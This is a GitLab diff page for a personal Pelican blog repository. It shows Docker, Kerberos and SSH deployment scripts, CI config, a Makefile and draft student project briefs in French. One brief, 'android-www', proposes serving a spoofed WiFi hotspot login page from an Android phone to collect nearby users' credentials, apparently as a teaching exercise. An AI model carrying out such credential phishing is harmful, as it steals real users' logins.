Skip to content
Snippets Groups Projects

Compare revisions

Changes are shown as if the source revision was being merged into the target revision. Learn more about comparing revisions.

Source

Select target project
No results found
Select Git revision
  • master
  • prez
2 results

Target

Select target project
No results found
Select Git revision
  • master
1 result
Show changes
803 files
+ 64842
7915
Compare changes
  • Side-by-side
  • Inline

Files

+22 −0
Original line number Diff line number Diff line
FROM debian:stable
ARG DEBIAN_FRONTEND=noninteractive

RUN { \
        echo krb5-config krb5-config/default_realm string 'LOCAL.ISIMA.FR'; \
        echo tzdata tzdata/Areas string 'Etc'; \
        echo tzdata tzdata/Zones/Etc string 'UTC'; \
    } | debconf-set-selections \
    && \
    apt-get update && apt-get install -y --no-install-recommends \
        krb5-user \
        krb5-config \
        openssh-client \
        locales \
        rsync \
    && \
    locale-gen fr_FR \
    locale-gen fr_FR.UTF-8 \
    update-locale LANG=fr_FR.UTF-8 \
    . /etc/default/locale

WORKDIR /srv/blog
 No newline at end of file
+16 −0
Original line number Diff line number Diff line
FROM debian:stable

RUN apt-get update && apt-get install -y --no-install-recommends \
        python3 \
        python3-pip \
        locales \
    && \
    locale-gen fr_FR \
    locale-gen fr_FR.UTF-8 \
    update-locale LANG=fr_FR.UTF-8 \
    . /etc/default/locale

COPY requirements.txt .
RUN pip install --break-system-packages --user -r requirements.txt

WORKDIR /srv/blog
 No newline at end of file
+16 −0
Original line number Diff line number Diff line
source .env 
SSH_CMD="ssh -o StrictHostKeyChecking=no -K ${KRB_USER}@${SERVER}"
RSYNC_CMD=''
kinit ${KRB_USER}
${SSH_CMD} "mkdir -p ~/public_html/"
${SSH_CMD} "echo 'Options +FollowSymLinks' >  ~/public_html/.htaccess"
${SSH_CMD} "echo 'RewriteEngine on' >>  ~/public_html/.htaccess"
${SSH_CMD} "echo 'RewriteCond %{HTTP_HOST} ^perso.isima.fr$' >>  ~/public_html/.htaccess"
${SSH_CMD} "echo 'RewriteRule (.*) https://perso.limos.fr%{REQUEST_URI} [R=301,L]' >>  ~/public_html/.htaccess"
${SSH_CMD} "mkdir -p ~/public_html/_"
${SSH_CMD} "echo '<FilesMatch "\.phar">' >  ~/public_html/_/.htaccess"
${SSH_CMD} "echo '   php_flag engine off' >>  ~/public_html/_/.htaccess"
${SSH_CMD} "echo '   ForceType application/octet-stream' >>  ~/public_html/_/.htaccess"
${SSH_CMD} "echo '   Header set Content-Disposition attachment' >>  ~/public_html/_/.htaccess"
${SSH_CMD} "echo '</FilesMatch>' >>  ~/public_html/_/.htaccess"
rsync -az --exclude "_" -e "ssh -o StrictHostKeyChecking=no -K" ./output/ ${KRB_USER}@${SERVER}:~/public_html/
 No newline at end of file
+7 −0
Original line number Diff line number Diff line
git submodule init
git submodule update --recursive --remote
sed -i 's/\$port &/\$port/g' ./develop_server.sh
chmod +x develop_server.sh
export PATH=/root/.local/bin:$PATH
export PY='/usr/bin/python3'
./develop_server.sh start 8000
 No newline at end of file

.env

0 → 100644
+6 −0
Original line number Diff line number Diff line
PORT=8001
REGISTRY_URL=docker.isima.fr
NAMESPACE=docker.isima.fr/vimazeno
APP_NAME=pelican_perso
KRB_USER=vimazeno
SERVER=perso.local.isima.fr
+3 −0
Original line number Diff line number Diff line
@@ -4,3 +4,6 @@ pelican.pid
*.pyc
srv.pid
blog_limos.egg-info
node_modules
.venv
.vscode
 No newline at end of file
+32 −22
Original line number Diff line number Diff line
image: ubuntu:precise

cache:
  paths:
    - output/ # Node modules and dependencies
    - output/ # le répertoire où se trouve le HTML statique généré

before_script:
  - apt-get update
  - 'which ssh-agent || ( apt-get update -y && apt-get install openssh-client -y )'
  - eval $(ssh-agent -s)
  - ssh-add <(echo "$SSH_PRIVATE_KEY")
  - mkdir -p ~/.ssh
  - '[[ -f /.dockerenv ]] && echo -e "Host *\n\tStrictHostKeyChecking no\n\n" > ~/.ssh/config'
.pre:
  image: node:latest
  stage: .pre
  script:
    - cd /srv/blog/content/slides && yarn

build:
  image: docker.isima.fr/vimazeno/pelican_perso_python:35046e8
  stage: build
  script:
    - apt-get install -y --force-yes build-essential python-dev python-pip
    - pip install --editable .
    - pelican content

  artifacts:
    untracked: true
    - git submodule init
    - git submodule update --recursive --remote
    - PATH=/root/.local/bin:$PATH pelican
  
deploy:
  image: docker.isima.fr/vimazeno/pelican_perso_kerberos:35046e8
  stage: deploy
  dependencies:
    - build
  script:
    - scp -r output/* mazenod@192.168.100.59:~/public_html/
    - ssh mazenod@192.168.100.59 'find ~/public_html/ -type f -exec chmod -R 644 {} \;'
    - ssh mazenod@192.168.100.59 'find ~/public_html/ -type d -exec chmod -R 755 {} \;'
    # récupération du KEYTAB en hexa 
    - echo "$KEYTAB" > my.keytab.hex
    # conversion du KEYTAB en hexa en binaire
    - sed 's/\([0-9A-F]\{2\}\)/\\\\\\x\1/gI' my.keytab.hex | xargs printf > my.keytab
    # génération du ticket kerberos
    - kinit -k -t my.keytab vimazeno@LOCAL.ISIMA.FR
    # préparation du répertoire servi par apache
    - ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "mkdir -p ~/public_html/"
    - ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo 'Options +FollowSymLinks' >  ~/public_html/.htaccess"
    - ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo 'RewriteEngine on' >>  ~/public_html/.htaccess"
    - ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo 'RewriteCond %{HTTP_HOST} ^perso.isima.fr$' >>  ~/public_html/.htaccess"
    - ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo 'RewriteRule (.*) https://perso.limos.fr%{REQUEST_URI} [R=301,L]' >>  ~/public_html/.htaccess"
    - ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "mkdir -p ~/public_html/_"
    - ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo '<FilesMatch "\.phar">' >  ~/public_html/_/.htaccess"
    - ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo '   php_flag engine off' >>  ~/public_html/_/.htaccess"
    - ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo '   ForceType application/octet-stream' >>  ~/public_html/_/.htaccess"
    - ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo '   Header set Content-Disposition attachment' >>  ~/public_html/_/.htaccess"
    - ssh -o StrictHostKeyChecking=no -K vimazeno@perso.local.isima.fr "echo '</FilesMatch>' >>  ~/public_html/_/.htaccess"
    # rsync du HTML statique généré
    - rsync -az --exclude '_' -e "ssh -o StrictHostKeyChecking=no -K" output/ vimazeno@perso.local.isima.fr:~/public_html/
 No newline at end of file

.gitmodules

0 → 100644
+3 −0
Original line number Diff line number Diff line
[submodule "plugins/math_render"]
	path = plugins/math_render
	url = https://github.com/barrysteyn/pelican_plugin-render_math.git

Makefile

0 → 100644
+82 −0
Original line number Diff line number Diff line
BOLD    := \033[1m
RESET   := \033[0m
RED     := \033[31m
GREEN   := \033[32m
YELLOW  := \033[33m
BLUE    := \033[34m
MAGENTA := \033[35m

SHELL    := /bin/bash
IMAGES   := $(shell docker compose config --services)
TAG      := $(shell git rev-parse --short HEAD)
VOLUMES  := content/node_modules output

# Executables (local)
DOCKER_COMP   := docker compose
.DEFAULT_GOAL := help

# Docker containers
KERBEROS_CONT  := $(DOCKER_COMP) run kerberos

include .env

build: ## Build required docker compose images
	@$(DOCKER_COMP) build
.PHONY: build	

push: ## Push build docker compose images
	@TAG=$(shell git rev-parse --short HEAD)
	@docker login ${REGISTRY_URL}
	@docker push ${NAMESPACE}/${APP_NAME}_python:latest ;
	@docker tag ${NAMESPACE}/${APP_NAME}_python:latest ${NAMESPACE}/${APP_NAME}_python:${TAG} ;
	@docker push ${NAMESPACE}/${APP_NAME}_python:${TAG} ;
	@docker push ${NAMESPACE}/${APP_NAME}_kerberos:latest ;
	@docker tag ${NAMESPACE}/${APP_NAME}_kerberos:latest ${NAMESPACE}/${APP_NAME}_kerberos:${TAG} ;
	@docker push ${NAMESPACE}/${APP_NAME}_kerberos:${TAG} ;
.PHONY: push

up: ## Make required containers up
	@$(DOCKER_COMP) up --remove-orphans node
	@echo -e "⏰ ${BOLD}${GREEN}Wait for node to install needed js (there's no problem we're just wait)...${RESET}"
	@$(DOCKER_COMP) run dockerize -timeout 180s -wait-retry-interval 3s \
			-wait file:///tmp/content/node_modules/.yarn-integrity ;
	@echo -e "⏰ ${BOLD}${GREEN}Wait for pelican to generate content (there's no problem we're just wait)...${RESET}"
	@echo -e "${GREEN}${BOLD}up and running${RESET}"
	@echo -e " 🐳 blog in docker ${BLUE}${BOLD}http://localhost:${PORT}${RESET}"
	@$(DOCKER_COMP) up --remove-orphans python
.PHONY: up

down: ## Make required containers down
	@$(DOCKER_COMP) down
.PHONY: down

logs: ## Show live containers logs. Pass the parameter "c=" to see one specific container's logs, example: make logs c='frontend'
	@$(eval c ?=)
	@if [ -z "$(c)" ]; then \
		$(DOCKER_COMP) logs --follow; \
	else \
		$(DOCKER_COMP) logs --timestamps --follow $(c); \
	fi 
.PHONY: logs

errors: ## Show live container errors.
	@$(DOCKER_COMP) logs | grep error
.PHONY: errors

publish: ## Open bash on php container
	@$(KERBEROS_CONT) bash .docker/scripts/kerberos/command.dev.sh
.PHONY: publish

clean: ## Remove node and php folders and files
	@for volume in ${VOLUMES} ; do \
		sudo rm -rf $${volume} ; \
	done
.PHONY: clean

slides: ## Force slides refresh
	@sudo cp -R content/slides output/
.PHONY: slides

help:
	@grep -h -E '^[a-zA-Z_-]+:.*?## .*$$' $(MAKEFILE_LIST) | awk 'BEGIN {FS = ":.*?## "}; {printf "\033[36m%-30s\033[0m %s\n", $$1, $$2}'
.PHONY: help
 No newline at end of file
+34 −5
Original line number Diff line number Diff line
# Blog LIMOS de Vincent Mazenod

## Installer les dépendances
```
./bin/setup
source bin/activate
./bin/start
```

## Utilisation avec docker

### Build image 

```
docker build -t pelican_perso .
```

### run conatiner 

```bash
sudo pip install --editable .
```
docker run -it --rm -v $(pwd):/srv/pelican mjjacko/pelican pelican-quickstart -p my-site
```

## Utilisation avec venv

## Lancer le serveur de prévisualisation
### Lancer le serveur de prévisualisation

```bash
```
bash develop_server.sh start
```

* http://0.0.0.0:8000/

### faire tourner les slides en local

```
./bin/local
```

* http://slides/slides/



## see also

* [https://limos.isima.fr/~mazenod/blog-et-pages-perso-au-limos.html](https://limos.isima.fr/~mazenod/blog-et-pages-perso-au-limos.html)

bin/activate

0 → 100755
+6 −0
Original line number Diff line number Diff line
#!/usr/bin/env bash

DIR="$( cd "$( dirname "${BASH_SOURCE[0]:-$0}" )/.." && pwd )"
if [[ -z "$VIRTUAL_ENV" ]] || [[ "$VIRTUAL_ENV" != "${DIR}/.venv" ]] ; then
    source "${DIR}/.venv/bin/activate"
fi

bin/local

0 → 100755
+17 −0
Original line number Diff line number Diff line
#!/usr/bin/env bash

DIR="$( cd "$( dirname "${BASH_SOURCE[0]:-$0}" )/.." && pwd )"

if [[ ! -f "/etc/apache2/sites-available/slides.conf" ]] ; then

  (
  echo "<VirtualHost *:80>"
  echo "DocumentRoot /var/www/html/blog/blog.limos.fr/content/"
  echo "ServerName slides"
  echo "</VirtualHost>"
  ) | sudo tee -a /etc/apache2/sites-available/slides.conf

  sudo a2ensite slides

  echo "127.0.0.1   slides" | sudo tee -a /etc/hosts
fi

bin/setup

0 → 100755
+15 −0
Original line number Diff line number Diff line
#!/usr/bin/env bash

DIR="$( cd "$( dirname "${BASH_SOURCE[0]:-$0}" )/.." && pwd )"

if [[ ! -d "${DIR}/.venv" ]] ; then
  python3 -m venv "${DIR}/.venv"
fi

source "${DIR}/.venv/bin/activate"
pip install -r requirements.txt

git submodule init
git submodule update --recursive --remote

cd content && yarn install

bin/start

0 → 100755
+3 −0
Original line number Diff line number Diff line
#!/usr/bin/env bash

bash develop_server.sh start

bin/stop

0 → 100755
+3 −0
Original line number Diff line number Diff line
#!/usr/bin/env bash

bash develop_server.sh stop
+40 −0
Original line number Diff line number Diff line
Title: android-www
Date: 2017-09-20 10:30
Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> &Eacute;tudiants
Tags: Projets tutorés, android
Status: draft

## Contexte

L'idée première est de spoofer la page de login d'un Hotspot WIFI, c'est à dire de servir à partir d'un téléphone Android une page web imitant en tout point celle d'un hotspot wifi afin de collecter les identifiants des utilisateurs à proximité qui s'y connecteront.

Ce projet consiste essentiellement à configurer un serveur web sur un téléphone android qui soit accessible à partir d'un périphérique à proximité.

## Rendu attendu

Vous devez rendre un dépot git avec au minimum

* un code source implémentant les fonctionnalités demandées
* un apk permettant de déployer le service
* un fichier `README.md` documentant l'installtion et l'utilisation du service
* un rapport détaillé du travail réalisé

## Technologies

* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [Android](https://fr.wikipedia.org/wiki/Android)

## Points à considérer

* la faisabilité d'un tel projet
* les pré-requis
    * root
    * librairies
* la sécurité
* la facilité de déploiment de l'application
* les possibilités d'interactions
    * possibilité de technologies server-side
    * bases de données ...

## Liens

* https://gbatemp.net/threads/android-app-for-self-hosting-exploit-5-5-1.425496/
+43 −0
Original line number Diff line number Diff line
Title: CKEditor for gitlab
Date: 2017-09-20 10:55
Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> &Eacute;tudiants
Tags: Projets tutorés, www, Tor
Status: draft

## Contexte

[GitLab](https://about.gitlab.com/) est une forge logicielle.

Cette forge présente notamment une interface web riche en fonctionnalités.

Il est possible au niveau d'un dépôt d'éditer ou de créer un fichier texte, ou encore d'uploader un fichier PDF directement à partir de l'interface web.

Chaque action donne lieu à un commit sur le dépôt.

Ce projet vise à intégrer au mieux CKEditor à la forge [https://gitlab.isima.fr/](https://gitlab.isima.fr/) notamment dans le but d'éditer en [WYSIWYG](https://fr.wikipedia.org/wiki/What_you_see_is_what_you_get) la documentation utilisateur de l'ISIMA [doc.isima.fr](https://doc.isima.fr) qui utilise [http://www.mkdocs.org/](http://www.mkdocs.org/)

Dans une première phase les possibilités d'implémenter une telle fonctionnalité seront toute étuidié

Dans une seconde phase la fonctionnalité sera développé avec les technologies choisies dans la première phase?

## Points à considérer

* se documenter sur la mailleure façon d'implémenter les fonctionnalités
    * plugin gitlab?
    * plugin firefox / chrome?
    * service stand alone?
        * utilisation de la commande git?
        * utilisation de l'api gitlab?
    * app electron
* sécurité

## Technologies

* [GitLab](https://about.gitlab.com/), [git](https://fr.wikipedia.org/wiki/Git), ???

## Rendu attendu

* Vous devez rendre un dépot git avec au minimum
    * un code source implémentant les fonctionnalités demandées
    * un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
    * un rapport détaillé du travail réalisé
+60 −0
Original line number Diff line number Diff line
Title: G-Box
Date: 2017-09-20 10:15
Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> &Eacute;tudiants
Tags: Projets tutorés, sécurité
Status: draft
## Contexte

La G-box est un routeur avec des fonctionnalités de sécurité, elle permet notamment de filtrer les flux sortant à des fins de contrôle parental ou de filtre anti-phishing.

Tout le trafic entre les ordinateurs du réseau local et internet doit passer par la G-box.

la G-box a pour de but valider ou non le trafic.

Elle utilise pour se faire 3 stratégies

* les DNS ([OpenDNS Family Shield](https://www.opendns.com/home-internet-security/) pour le contrôle parentale par exemple)
* l'inspection d'url
* l'inspection de contenu

La G-Box est un routeur domestique qui doit nécessiter le moins de configuration possible. Elle ne nécessite notamment aucune intervention sur les postes clients

La configuration du filtrage doit pouvoir se faire de manière sécurisée au travers d'une interface web.

Idéalement c'est un boîtier qui présente donc au moins 2 interfaces:

* l'interface publique, que vous connecterez sur la box du FAI
* la ou les interfaces privées, sur lesquelles viennent se connecter les appareils domestiques (PC fixe, laptop, tablette, téléhpone)

Pour le prototype de la G-Box le [raspberry pi 3b](https://www.raspberrypi.org/products/raspberry-pi-3-model-b/) est pressentie.
L'objectif de ce projet est d'arriver à une PoC (Proof Of Concept) permettant de valider l'implémentation des fonctions de filtrage.

Un ou deux raspberry vous seront fournis pour vos tests.

## Fonctionnalités à implémenter

* gestion d'une liste de sites autorisés / interdits par périphériques
* gestion de la liste de mots clés autorisés / interdits par périphériques
* gestion du DNS par périphériques
* système de notification lorsqu'une tentative d'outre passer une règle est détectée

## Résultat attendu

un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

* une image de système déployable sur un raspberry pi
* un script de provisioning permettant le déploiement des fonctionnalités implémentées
* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
* un rapport détaillé du travail réalisé

## Technologies

* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [SSL](https://fr.wikipedia.org/wiki/SSL), [Raspberry Pi](https://www.raspberrypi.org/),  [Raspbian](https://raspbian-france.fr/), [Réseau informatique](https://fr.wikipedia.org/wiki/R%C3%A9seau_informatique)

## Points à considérer

* la sécurité globale du système
    * accès physique
    * MAC spoofing
    * configuraiton manuelle des DNS sur les postes clients
    * gestion des connection SSL en mode filtrage par urls ou par mots clés
+39 −0
Original line number Diff line number Diff line
Title: gitlab-issue
Date: 2017-09-20 10:25
Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> &Eacute;tudiants
Tags: Projets tutorés, www, git
Status: draft

## Contexte

[GitLab](https://about.gitlab.com/) est une forge logicielle.

La version [GitLab CE](https://gitlab.com/gitlab-org/gitlab-ce) présente [une API REST](https://docs.gitlab.com/ee/api/README.html).

Il s'agit ici d'implémenter un système de feedback [utilisant la partie de l'API consacrée à la gestion de tickets](https://docs.gitlab.com/ee/api/issues.html) sous forme d'un bundle [symfony](https://symfony.com/).

le bundle devra

* gérer l'authentification par utilisateur gitlab
* gérer l'authentification avec une seule clé d'api permettant à des utilisateurs anonyme de déposer aussi une issue
* gérer les issues par utilisateurs
* s'intégrer intelligemment à une application symfony

## Résultat attendu

un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

* le code source implémentant les fonctionnalités demandées
* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
* un rapport détaillé du travail réalisé

## Technologies

* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [PHP](http://php.net/manual/fr/intro-whatis.php), [Symfony](https://symfony.com/), [Vagrant](https://www.vagrantup.com/), [GitLab](https://about.gitlab.com/)

## Points à considérer

* la qualité du code notamment en suivant les bests practices symfony
* la sécurité
* la facilité de déploiment dans une application
* l'intégration du bundle dans une application symfony
+37 −0
Original line number Diff line number Diff line
Title: ISIMA Tor
Date: 2017-09-20 10:50
Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> &Eacute;tudiants
Tags: Projets tutorés, www, Tor
Status: draft

## Contexte

le site https://isima.fr souhaite être présent sur le réseau Tor.

Une première phase consistera en la mise en place d'un site web afin qu'il soit visible sur le réseau Tor, dans un environnement que vous maquetterez.

Dans une seconde phase la mise en ligne sera maquettée dans un environnement [ispconfig](https://www.ispconfig.org/)

Le maquettage pourra être réalisé avec [Vagrant](https://www.vagrantup.com/) et le provisioning avec [ansible](https://www.ansible.com/)

## Résultat attendu

un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

* le code source implémentant les fonctionnalités demandées
* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
* un rapport détaillé du travail réalisé

## Technologies

* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [Vagrant](https://www.vagrantup.com/), [ansible](https://www.ansible.com/)

## Points à considérer

* sécurité
* reproductibilité et industrialisation
* compréhesion des protocoles utilisés

## Liens

* http://www.bortzmeyer.org/blog-tor-onion.html
+51 −0
Original line number Diff line number Diff line
Title: ispcli
slug: ispcli
lang: en
save_as: ispcli-en.html
url: ispcli-en.html
Date: 2017-09-20 10:20
Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> &Eacute;tudiants
Tags: Projets tutorés, www

## Contexte

[ISPConfig](https://www.ispconfig.org/) est un outil de gestion de serveur (web, mail, dns) via une interface web.

[une API SOAP](http://docs.ispconfig.org/development/remote-api/)  est disponible depuis la version 3.

Ce projet vise à implémenter un client d'api en ligne de commande.

A titre d'exemple [python-gitlab](http://python-gitlab.readthedocs.io/en/stable/cli.html) est un client d'API pour gitlab.

Les commandes à implémenter concernent toutes les actions de

* configuration du serveur
* gestion des clients
* gestion des hotes web
* gestion des utilisateurs ssh
* gestion des bases de données
* gestion des utilisateurs bases de données
* gestion des entréees DNS
* gestion des comptes mail

Seule la partie gestion de la virtualisation pourra être mise de côté.

## Résultat attendu

un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

* le code source implémentant les fonctionnalités demandées
* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
* un rapport détaillé du travail réalisé

## Technologies

* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [PHP](http://php.net/manual/fr/intro-whatis.php), [SOAP](https://fr.wikipedia.org/wiki/SOAP), [ISPConfig](https://www.ispconfig.org/)

## Points à considérer

* l'ergonomie
    * facilité de configuration
    * simplicité d'utilisation
    * commandes intuitives
    * possibilité de batcher certaines opérations
+50 −0
Original line number Diff line number Diff line
Title: ispcli
slug: ispcli
lang: fr
Date: 2017-09-20 10:20
Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> &Eacute;tudiants
Tags: Projets tutorés, www
Status: draft

## Contexte

[ISPConfig](https://www.ispconfig.org/) est un outil de gestion de serveur (web, mail, dns) via une interface web.

[une API SOAP](http://docs.ispconfig.org/development/remote-api/)  est disponible depuis la version 3.

Ce projet vise à implémenter un client d'api en ligne de commande.

A titre d'exemple [python-gitlab](http://python-gitlab.readthedocs.io/en/stable/cli.html) est un client d'API pour gitlab.

Les commandes à implémenter concernent toutes les actions de

* configuration du serveur
* gestion des clients
* gestion des hotes web
* gestion des utilisateurs ssh
* gestion des bases de données
* gestion des utilisateurs bases de données
* gestion des entréees DNS
* gestion des comptes mail

Seule la partie gestion de la virtualisation pourra être mise de côté.

## Résultat attendu

un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

* le code source implémentant les fonctionnalités demandées
* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
* un rapport détaillé du travail réalisé

## Technologies

* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [PHP](http://php.net/manual/fr/intro-whatis.php), [SOAP](https://fr.wikipedia.org/wiki/SOAP), [ISPConfig](https://www.ispconfig.org/)

## Points à considérer

* l'ergonomie
    * facilité de configuration
    * simplicité d'utilisation
    * commandes intuitives
    * possibilité de batcher certaines opérations
Original line number Diff line number Diff line
Title: Mindmaping et markdown
Date: 2017-09-20 10:10
Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> &Eacute;tudiants
Tags: Projets tutorés, www
Status: draft


## Contexte

Le [Mindmaping](http://www.mindmapping.com/fr/) ou carte mentale est une méthode créative et logique pour prendre des notes et consigner des idées, qui consiste littéralement à "cartographier" votre réflexion sur un thème.

Il existe de nombreux programmes et services permettant de réaliser des cartes mentales:

Ce projet vise à réaliser un service en ligne permettant de réaliser des cartes mentale grâce au langage markdown.

L'extension [markdown-mindmap](https://atom.io/packages/markdown-mindmap) pour l'éditeur [atom](https://atom.io/) est une implémentation approchant le résulat attendu.

![markdown-mindmap](https://i.github-camo.com/a1d969d7ee4c9bd6145f8abf35d99de1544276d4/68747470733a2f2f6769746875622e636f6d2f64756e64616c656b2f61746f6d2d6d61726b646f776e2d6d696e646d61702f626c6f622f6d61737465722f73637265656e73686f742e6769663f7261773d74727565)


Le composant javascript [markmap](https://github.com/dundalek/markmap) peut être une brique logicielle intéressante.

N.B. Ce composant ne permet pas de créer des branches de part et d'autres du sujet principal, et cette possibilité est à discuter.

Afin d'être utilisable la solution devra intégrer

* le partage des cartes mentales
* afficher le contenu texte (en dessous du titre) au survol de la survie
* possibilité d'affecter une url (cliquable) à un noeud
* valider l'ergonomie et l'affichage sur ordinateurs, tablettes et téléphone
* une gestion d'utilisateur avec inscription et récupération de mot de passe [optionnel]


## Résultat attendu

un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

* le code source implémentant les fonctionnalités demandées
* un fichier ```Vagrantfile``` permettant de tester l'application via ```vagrant up```
* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
* un rapport détaillé du travail réalisé

## Technologies

* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [JS](https://fr.wikipedia.org/wiki/JavaScript),  [Vagrant](https://www.vagrantup.com/), la technologie server-side et le SGBD sont à choisir.

## Points à considérer

* Choix des technologies
* ergonomie utilisateur

### Liens

* [FreeMind](https://fr.wikipedia.org/wiki/FreeMind)
* [framindmap.org](https://framindmap.org/mindmaps/index.html)
* [https://monod.lelab.tailordev.fr/](https://monod.lelab.tailordev.fr/) peut servir d'exemple pour l'ergonomie et le système de partage de document
    * présente notamment des idées pour l'ergonomie et le système de partage
+43 −0
Original line number Diff line number Diff line
Title: RSS2Epub
Date: 2017-09-20 10:40
Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> &Eacute;tudiants
Tags: Projets tutorés, www
Status: draft

## Contexte

RSS2Epub est un service qui permet de convertir une page web au format epub afin d'en optimiser l'affichage sur une liseuse numérique.

Dans sa version finale RSS2Epub proposera

* une gestion d'utilisateur
* la possibilité à chacun de gérer ses propres flux rss.

## Rendu attendu

Vous devez rendre un dépot git avec au minimum

* un code source implémentant les fonctionnalités demandées
* un fichier ```Vagrantfile``` permettant de tester l'application via ```vagrant up```
* un fichier ```deploy.php``` permettant de déployer l'application
* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
* un rapport détaillé du travail réalisé

## Points à considérer

* nettoyage de toutes les parties
    * publicitaires
    * navigation
    * commentaires

* provisioning
    * le service doit être déployable simplement sur un virtual host

## Technologies

* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [PHP](http://php.net/manual/fr/intro-whatis.php), [MySQL](https://www.mysql.com/fr/), [Symfony](https://symfony.com/), [Deployer](https://deployer.org/), [Vagrant](https://www.vagrantup.com/)

## Liens

* https://fr.kobo.com/help/fr-FR/article/938/utiliser-l-application-pocket-sur-votre-tablette-kobo
* https://pandoc.org/
+53 −0
Original line number Diff line number Diff line
Title: Security Dashboard
Date: 2017-09-20 10:00
Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> &Eacute;tudiants
Tags: Projets tutorés, sécurité
Status: draft

## Contexte

Ce projet vise à réaliser un tableau de bord permettant d'évaluer simplement l'état de la sécurité d'un ensemble de sites ou services web hétérogènes.

Ce tableau de bord prend en entrée une simple liste d'urls, l'idée est d'automatiser au maximum l'audit sécurité de chaque url.

Chaque url de la liste est inspectée à intervalles réguliers afin de déterminer les technologies qu'elle utilise et leur version respective - à la manière du service [Wappalyzer](https://wappalyzer.com/).

Pour chaque technologie:

* [(CVE) Common Vulnerabilities and Exposures](https://fr.wikipedia.org/wiki/Common_Vulnerabilities_and_Exposures) sera interrogé afin de déterminer si la version de chaque technologie utilisée par l'url présente une vulnérabilité connue

* la dernière version de chaque technologie sera déterminée (à partir du site ou du dépôt officielle)

Le tableau de bord présentera une rapport clair et priorisé (par indice de criticité) des technologies à mettre à jour par url

* l'inspection automatique des technologies pourra être complétée / corrigée manuellement

* un système d'alerte mail à partir d'un degré d'un niveau de criticicté paramétrable sera également mis en place

## Résultat attendu

un dépôt sur [https://gitlab.isima.fr](https://gitlab.isima.fr) contenant

* le code source implémentant les fonctionnalités demandées
* un fichier ```Vagrantfile``` permettant de tester l'application via ```vagrant up```
* un fichier ```deploy.php``` permettant de déployer l'application
* un fichier `README.md` documentant l'installation, la configuration et l'utilisation du service
* un rapport détaillé du travail réalisé

## Technologies

* [HTTP](https://fr.wikipedia.org/wiki/Hypertext_Transfer_Protocol), [PHP](http://php.net/manual/fr/intro-whatis.php), [MySQL](https://www.mysql.com/fr/), [Symfony](https://symfony.com/), [Deployer](https://deployer.org/), [Vagrant](https://www.vagrantup.com/), API, [webscraping](https://fr.wikipedia.org/wiki/Web_scraping)

## Points à considérer

* la facilité de déploiement

* l'ergonomie
    * facilité de configuration
    * simplicité d'utilisation

## Liens

* https://github.com/AliasIO/Wappalyzer
* https://github.com/cve-search/cve-search
* https://stackoverflow.com/questions/14866528/how-can-i-grab-the-latest-stable-repo-version-from-the-github-api
Original line number Diff line number Diff line
Title: <strike>ZZ2 F5 - Privacy & Crypto</strike>
Date: 2019-11-16 10:55
Category: <i class='fa fa-graduation-cap' aria-hidden='true'></i> &Eacute;tudiants
Tags: cours

<div class="panel panel-warning">
  <div class="panel-heading">
    <h3 class="panel-title">FYI</h3>
  </div>
  <div class="panel-body">
    <h1>Je ne donne actuellement plus ce cours!</h1>
    <h2>Les supports sont là pour archive</h2>
  </div>
</div>

[TOC]

## Plan du cours

### Privacy

* [je n'ai rien à cacher](/slides/privacy/jnarac.html)
* [mots de passes](/slides/privacy/passwords.html)
  * [vault](/slides/privacy/vault.html)
* [tracking](/slides/privacy/tracking.html)
* [souveraineté](/slides/privacy/sovereignty.html)

### Crypto

* [principes cryptographiques](/slides/privacy/crypto.html)
* [tls](/slides/privacy/tls.html)
  * [https](/slides/privacy/tls.html#/0/52)
* [PGP/GPG](/slides/privacy/pgp.html#/)
* [TLS VS PGP](/slides/privacy/TLSvsPGP.html)
* [Tor](/privacy/tor.html)
* [Bitcoin](/privacy/bitcoin.html)
* [Tails](/slides/privacy/tails.html)


<div class="panel panel-success">
  <div class="panel-heading">
    <h3 class="panel-title">FYI</h3>
  </div>
  <div class="panel-body">
    <ul>
